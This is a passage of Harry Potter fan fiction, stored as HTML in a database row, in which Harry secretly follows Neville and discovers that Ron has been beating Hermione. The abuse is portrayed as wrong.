style="text-indent:.25in">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">On his way to Lunch, Harry who was\nwalking behind Neville and Draco overheard their conversation, &#8220;yeah mate she&#8217;s\nnot coming to lunch.&nbsp; Did you see how\nfast she bolted out of History of Magic?&#8221; Neville said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah I suspect Hermione went to\ngo seek shelter in the library, he hardly goes in there after her.&#8221;&nbsp; Draco replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That git\ndoesn&#8217;t study for anything, it&#8217;s only because he cheats of Hermione that he&#8217;s\nalmost top of the class.&#8221; Neville replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah I know.&#8221;&nbsp; Draco saw Ginny ahead of them and the two\nboys ran to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey Ginny.&#8221; Neville said with a\nsmile, &#8220;are you going to try out for the Quidditch team on Friday?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of course I am.&#8221; Ginny said with\na smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry wandered up to them, &#8220;Hey\nwhat&#8217;s up?&#8221; He was in a foul mood but he played it friendly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Nothing much.&#8221; Ginny said and she\nturned to Neville and Draco. &#8220;I was thinking about asking Hermione if she\nwanted to try out. Do you know how fast she is?&nbsp;\nShe would make a great Chaser, don&#8217;t you guys think so?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s a lost cause, Hermione\nwon&#8217;t play.&#8221; Neville said and Draco nodded agreeing.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why not, all she does is study in\nthat damn library. She should have a little fun in her life.&nbsp; I don&#8217;t know about you boys, but I&#8217;m going to\ngo and convince her to try out.&#8221;&nbsp; Ginny\nturned away from them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How fast is she on a broom?&#8221; Harry\nasked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You would have to see it.&#8221; Ginny\nsaid with a smile. And she started for the library, Harry followed after her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione sat at her table in the\nlibrary and opened her book.&nbsp; But she\nwasn&#8217;t reading.&nbsp; She was staring down at\nthe words.&nbsp; Hermione rolled the sleeves\nof her robe up over her arms, the library was stuffy and warm and she was\nhot&nbsp; She didn&#8217;t hear the two people come\nup to her table as she was starting in on her reading.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey Hermione.&#8221; Ginny said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry watched as Hermione was\nsurprised and nearly jumped a foot out of her chair.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione pressed her hand against\nher heart, &#8220;Ginny, you scared me to death.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny giggled, &#8220;I&#8217;m sorry.&#8221; And\nshe and Harry sat down across from her.&nbsp;\n&#8220;Hermione we&#8217;ve come to talk to you about trying for the Quidditch\nteam.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shook her head, &#8220;no, no I\ndon&#8217;t play.&#8221; She continued looking at her book.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why not, I see how fast you are\non a broom.&nbsp; You could play Chaser with\nno problems.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione pushed her book away and\nfinally looked up at them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">This was only the second time that\nHermione looked up at Harry.&nbsp; He was once\nagain struck with the awe-ness of her eyes. The deep brown, with golden flecks\nseemed to cause his stomach do to flip flops.&nbsp;\nHe had never had this kind of reaction to a girl before. Maybe he got\nthis feeling cause she never looked someone in the eye when she talked to them.\nShe always looked to the ground or to an object avoiding eye contact with\nanyone, except Ron.&nbsp; Now that was odd.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh Hermione please try, you could\nuse a little fun.&#8221; Ginny pleaded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione took a breath, she lifted\nher hand running it nervously though her hair.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry noticed several bluish black\nmarks on her arm, his eyes narrowed wondering what in the world those\nwere.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione shifted in her seat a few\ntimes, &#8220;I really don&#8217;t want to play Ginny, okay I mean if I wanted to, which I\ndon&#8217;t.&nbsp; I would never want to show up\nRon, he&#8217;s the best player on the team.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh no he&#8217;s not. He&#8217;s only the\nSeeker.&#8221; Ginny looked at Harry, &#8220;No offense or anything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry dismissed it with a wave of\nhis hand, &#8220;none taken.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And how could you even be showing\nhim up, they are completely different positions.&#8221; Ginny argued.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No Ginny, I don&#8217;t want to play. Okay\ncan&#8217;t we just leave it at that?&#8221; Hermione said with growing aggravation. &#8220;I\ndon&#8217;t mean to snap at you Ginny. I just don&#8217;t want to play, okay?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well alright, if you say so.&#8221;\nGinny said looking down at the table in disappointment.&nbsp; Through the corner of her eye saw the library\ndoor open and her brother came through.&nbsp;\nGinny turned her head and saw that he didn&#8217;t look to happy.&nbsp; She noticed her brother saw her waving to him\nand he walked over to them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ginny.&#8221; He said plainly. &#8220;Can you\ntake Hermione&#8217;s things back to the tower for her? She and I need to have a\nlittle chat.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry noticed that Ron was rigid\nwith anger for his fists were clinched at his sides, he looked over at Hermione\nseeing her eyes shifting about nervously.&nbsp;\nSomething was not right here.&nbsp; He\ndidn&#8217;t know either of them very well, quite frankly he had just met them a few\ndays ago.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah sure.&#8221; Ginny said with a\nsmile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He watched Ron reach down and grab\na hold of her arm right where those marks were and pull her to her feet. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&#8220;We need to talk.&#8221; Ron said and he started\ndragging her from the library, he roughly opened the library doors and pulled\nher quickly through them.&nbsp; The doors\nclosed behind them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry thought a moment, something\nwas definitely not right here, he could feel it in his toes.&nbsp; For some reason he felt he needed to watch\nthose two even closer.&nbsp; It was a good\nthing he had an invisibility cloak, it was time to do a little detective work.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">======</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Okay that&#8217;s it for chapter 2, I\nknow kinda long. But I had to get through their classes.&nbsp; Well read and review, thanks Ryoko.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(24, 3, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;\nDisclaimer:&nbsp; Not mine, Not mine, Definitly not mine. The\nentire HP world belongs to JK Rowlings.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Hidden\nBeneath</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nChapter 3&#8212; In The Thick Of It</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry sat down to breakfast just as Neville did across from\nGinny.&nbsp; Neville looked around The Great\nHall, obviously very confused. </p>\n\n<p class="MsoBodyTextIndent">Neville\ntapped Ginny on the hand and she looked up at him with a smile. &#8220;Yes?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Where&#8217;s Hermione?&nbsp;\nShe&#8217;s not one to miss breakfast.&#8221; Neville asked, with a hidden\nsuspicion.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione said she was sick, so she is staying in today.&#8221;\nGinny said as she continued with her breakfast.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Sick, Hermione said she was sick?&#8221; Neville&#8217;s eyes narrowed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah Longbottom, my girlfriend is very ill.&#8221; Ron said, he was standing behind him.&nbsp; Neville&#8217;s eyes widened in\nfear to the size of tea saucers.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville cleared his throat.&nbsp;\n&#8220;Well I was just asking.&#8221; Neville helped himself to some waffles and put\nsome whipped cream and strawberries on top.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh how thoughtful of you to worry about my girlfriend,&#8221; Ron\nwas very sarcastic.&nbsp; &#8220;Do I need to repeat\nthe fact that she is mine?&#8221;&nbsp; He glared at\nthe back of Neville&#8217;s head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, I know that she&#8217;s your girlfriend.&#8221; Neville said as Ron\nslapped him in the back of the head, knocking him forward so his nose went into\nthe whipped cream on his waffle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Good, you know how I get when I have to repeat myself.&#8221; Ron\nsaid quietly.&nbsp; &#8220;Enjoy your breakfast\nLongbottom.&#8221; Ron smirked and started towards the Ravenclaw table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Asshole.&#8221; Neville said under his\nbreath as he took the napkin from off the table and wiped his nose clean of the\ncream.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m sorry about my brother Neville, but you know how he\ngets.&#8221;&nbsp; Ginny said knowing that her\nbrother is just a lot of talk. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah, unfortunately I do.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;All talk and no action,&#8221; Ginny smiled. &#8220;Hey Neville, are we\ngoing to Hogsmeade this weekend?&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah sure.&#8221;&nbsp; Neville said with a smile.&nbsp; He grabbed the plate next to him and started\nputting a few slices of ham, some fruit and a pancake with maple syrup on it.&nbsp; He grabbed a blueberry muffin and placed it\non the plate.&nbsp; Neville also picked up a\nglass of orange juice and stood up.&nbsp; He\nnoticed Harry and Ginny staring up at him obviously wondering what he was up\nto.&nbsp; &#8220;I really don&#8217;t want the waffles\nanymore.&#8221;&nbsp; He smiled a little.&nbsp; &#8220;I think I&#8217;ll eat this on the way to\nclass.&#8221;&nbsp; Neville smiled at Ginny, &#8220;I want\nto get to Transfiguration early and practice with that artichoke a bit.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But Neville it&#8217;s at least forty five minutes till classes\nbegin for the day.&#8221;&nbsp; Ginny said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know, but you know my troubles.&nbsp; I really want to get a handle on them before\nthey develop into big problems.&#8221;&nbsp; Neville\nthen smirked at her, he looked around for Ron but he was being shielded in by\nthe Ravenclaws.&nbsp;\n&#8220;Ginny, meet me in our spot at the half hour break?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny nodded with an all-knowing smile. &#8220;Definitely.&#8221;&nbsp; She watched as her boyfriend scurried off\ntowards the Great Hall doors.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry put his finger to his chin, he was much more observant\nthen most.&nbsp; He decided to follow after\nNeville, that boy seemed a little suspicious to him.&nbsp; Sure he was probably cheating on Ginny,\nhaving an affair with Ron&#8217;s girlfriend.&nbsp;\nNo wonder he was so scared when Ron came up to him a few moments ago.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He stood and made his way towards the Great Hall doors.&nbsp; Harry saw Neville going up the stairs towards\nGryffindor tower instead of the direction of the Transfiguration class.&nbsp; He hated being in the dark; there were just\ntoo many secrets around here.&nbsp; He needed\nto know what was going on.&nbsp; He opened his\nbag and pulled out, his shiny, silvery invisibility cloak.&nbsp; He remembered when he had gotten this, it was\nsent to him from an anonymous person.&nbsp; It\nsure had come in handy.&nbsp; Harry slipped\nthe cloak on and was no longer seen by the ordinary wizard or witch.&nbsp; He quietly followed after Neville.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville made his way into Gryffindor tower and up to the\nGirl&#8217;s dormitories.&nbsp; He opened the main\ndoor to the girl&#8217;s room and went inside.&nbsp;\nNeville stopped at the six years dorm and knocked.&nbsp; &#8220;Hermione?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes?&#8221; Her voice was muffled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s me Neville, can I come in?&#8221; He asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No, I&#8217;m sick.&#8221; She coughed.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But I have breakfast for you, maybe if you eat something\nyou might feel a little better.&#8221; He knew she wasn&#8217;t sick.&nbsp; A few moments passed, and he almost gave up\nand turned to go.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Um, bring it in.&nbsp; Leave\nit on the chair and then go.&#8221; She said nearer to the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville heard a rapid thumping along the floor; he opened\nthe door to the room just as the curtains on her bed quickly closed with a loud\nWOOSH.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Leave it there on the chair.&#8221; Hermione replied inside the\nsafe confines of her bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He nodded and stepped into the room. Neville walked close to\nthe bed and sat the plate and glass down on the chair.&nbsp; He turned around and moved to the door\nclosing it.&nbsp; Neville heard the curtains\npart a little, but then WOOSH, the curtains closed again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What are you doing?&nbsp;\nI said to leave it and go.&#8221; Hermione said from inside the curtains.&nbsp; She was sitting with her legs tucked\nunderneath her with her hands in her lap, the peaceful darkness shielding her\nfrom the cruel world.&nbsp;&nbsp; Hermione hadn&#8217;t\neaten since lunch yesterday and her stomach was very upset with her. She so\nwanted that food, but there was no way she was coming out of the bed with him\nstill in the room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville walked back towards the bed, &#8220;Hermione what are you\ndoing in there?&nbsp; Come on out and eat your\nbreakfast.&nbsp; I know you are not sick.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes I am.&#8221; She coughed, it was a weak cough.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville simply rolled his eyes at her failed attempts to\nsound ill.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You shouldn&#8217;t be in here Neville, I am very contagious.&#8221;\nHermione said in a tired voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville walked closer to her bed and started pulling the\ncurtains apart. &#8220;Come out of there.&#8221;&nbsp; He\nparted the curtains parted letting in the morning sunlight.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&#8220;NEVILLE!!&#8221;\nShe shrieked.&nbsp; Hermione had covered her\nhead with her sheet, she looked like a child who was trying to play ghost.&nbsp; &#8220;Why did you do that?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione I know you&#8217;re not sick, let me see.&#8221; He sat down\non the side of the bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No.&#8221; She was blunt. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Under the invisibility cloak, Harry wondered if this was some\nkind of game they played to get into the mood.&nbsp;\nHe was so close to them, it almost made him laugh that he could stand so\nnear and no one would know he was there.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I can&#8217;t help you if you don&#8217;t let me see.&#8221; Neville said\nvery seriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sighed deeply, and she slowly pulled the sheet\ndown.&nbsp; Her eyes were closed as Neville\nstared in horror; Harry had to slam his palm over his mouth to keep from\nshouting out.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;OH MY GOD!!&#8221;&nbsp; Neville yelled, even though her eyes were\nclosed he could see the black and blue underneath her dark lashes.&nbsp; She had a bruise the size of a very large\nfist on her right cheek and its twin on the other.&nbsp; He noticed there was bruise upon bruise.&nbsp; Her bottom lip had been split down the\nmiddle. He noticed there were bruises about her neck which were dark black, he could see a bit of blue outlined them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She opened her eyes looking at him, &#8220;And these are only the\nones you can see, I have plenty more.&nbsp;\nWould you like to see those too?&#8221; Hermione was sarcastic as she kept in\nthe tears that were threatening to spill.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why did you let him do this to you?&#8221; Neville turned away\nfrom Hermione looking down at the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I deserved it,&#8221; She said plainly. &#8220;It was my fault.&nbsp; I know I&#8217;m not supposed to let other males\ntouch me and well, they did.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; Neville shook his\nhead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry did not want to be in here, he realized that Neville\nwas right. This was way over his head.&nbsp;\nHe did not want to be involved in something like this.&nbsp; He already fought one nearly impossible\nbattle; he did not want to get stuck in the middle of another.&nbsp; He was not some storybook hero bent on saving\nthe day, he just wanted to get through school and\nbasically be left alone.&nbsp; He inched\ncloser to the door without making a sound.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Neville, can you please go?&#8221; Hermione glanced down at her\nfingers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione I don&#8217;t want&#8212;&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Neville, go now!&nbsp;\nLeave me alone!&#8221; She yelled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville stood, &#8220;Fine I&#8217;ll go now, but I&#8217;ll be back to check\non you.&#8221;&nbsp; He quickly made his way to the\ndoor; Harry had to jump back so that he wasn&#8217;t run over by a fast moving\nNeville.&nbsp;&nbsp;&nbsp; Neville left through the door\nhe saw Ron on the landing, simply waiting there.&nbsp; &#8220;Shit.&#8221; He cursed quietly.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry knew that couldn&#8217;t be good when he heard Neville&#8217;s\nchoice of words.&nbsp; He heard footsteps coming\nup the stairs and into the girl&#8217;s dormitories.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Neville ran back into Hermione&#8217;s room, and she looked like\nshe was ready to scream at him again.&nbsp;\nBut Neville spoke before she had a chance. &#8220;Ron is out there.&nbsp; He&#8217;s coming up here.&#8221;&nbsp; He saw Hermione&#8217;s eyes widen with fear, but\nhe took no chances and dove underneath the bed.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry was in the clear, the door was open and he could leave\nwithout anyone knowing he was even there.&nbsp;\nRon came through the open door and closed it, preventing Harry&#8217;s\nescape.&nbsp; &nbsp;He was trapped, the only way he 